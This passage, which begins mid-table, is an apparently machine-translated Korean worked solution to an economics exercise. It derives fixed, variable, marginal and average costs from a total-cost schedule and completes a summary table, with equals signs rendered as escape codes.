3 230
4 300

해결책 :

고정 비용 ( 고정 비용)-이는 제품이나 서비스의 양에 의존하지 않는 비용입니다. 회사의 생산량에 관계없이 고정 비용의 가치는 변하지 않습니다. 회사가 단일 생산 단위를 생산하지 않더라도 비용이 발생합니다. 예를 들어 구내 임대, 난방비, 신용 수수료 등이 될 수 있습니다.

따라서 모든 출력량에 대한 FC는 60p와 같습니다.

가변 비용 ( 가변 비용)-제품 또는 서비스의 양이 변경 될 때 변경되는 비용입니다. 총 고정 비용이 총 비용과 동일한 총 비용):

TC \u003d FC + VC.

여기에서 :

VC \u003d TC-FC

VC (0) \u003d 60-60 \u003d 0,

VC (1) \u003d 130-60 \u003d 70,

VC (2) \u003d 180-60 \u003d 120,

VC (3) \u003d 230-60 \u003d 170,

VC (4) \u003d 300-60 \u003d 240.

한계 비용 ( 한계 비용)는 추가 생산 단위 출시와 관련된 비용 증가입니다.

MC \u003d ΔTC / ΔQ

이 문제에서 출력 증가는 항상 1과 같으므로이 공식을 다음과 같이 다시 작성할 수 있습니다.

MC \u003d ΔTC / 1 \u003d ΔTC

MC (1) \u003d TC (1)-TC (0) \u003d 130-60 \u003d 70,

MC (2) \u003d TC (2)-TC (1) \u003d 180-130 \u003d 50,

MC (3) \u003d TC (3)-TC (2) \u003d 230-180 \u003d 50,

MC (4) \u003d TC (4)-TC (3) \u003d 300-230 \u003d 70.

평균 총 비용 ( 평균 총 비용)는 1 단위의 생산 비용입니다.

ATC \u003d TC / Q

ATC (1) \u003d TC (1) / 1 \u003d 130/1 \u003d 130,

ATC (2) \u003d TC (2) / 2 \u003d 180/2 \u003d 90,

ATC (3) \u003d TC (3) / 3 \u003d 230/3 \u003d 76.67,

ATC (4) \u003d TC (4) / 4 \u003d 300/4 \u003d 75.

평균 고정 비용 ( 평균 고정 비용)는 출력 단위당 고정 비용입니다.

AFC \u003d FC / Q

AFC (1) \u003d FC (1) / 1 \u003d 60/1 \u003d 60,

AFC (2) \u003d FC (2) / 2 \u003d 60/2 \u003d 30,

AFC (3) \u003d FC (3) / 3 \u003d 60/3 \u003d 20,

AFC (4) \u003d FC (4) / 4 \u003d 60/4 \u003d 15입니다.

평균 가변 비용 ( 평균 가변 비용)는 하나의 생산 단위를 생산하는 가변 비용입니다.

AVC \u003d VC / Q

AVC (1) \u003d VC (1) / 1 \u003d 70/1 \u003d 70,

AVC (2) \u003d VC (2) / 2 \u003d 120/2 \u003d 60,

AVC (3) \u003d VC (3) / 3 \u003d 170/3 \u003d 56.67,

AVC (4) \u003d VC (4) / 4 \u003d 240/4 \u003d 60.

ATC와 AFC를 알면 평균 가변 비용은 평균 총 비용과 평균 고정 비용의 차이로도 확인할 수 있습니다.

AVC \u003d ATC-AFC

테이블의 틈새를 채우십시오.

단위 시간당 방출, Q, pc.총 비용, TC, p.FCVcMCATCAVCAfc
0 60 60 0 - - - -
1 130 60 70 70 130 70 60
2 180 60 120 50 90 60 30
3 230 60 170 50 76,67 56,67 20
4 300 60 240 70 75 60 15
이것을 공유하십시오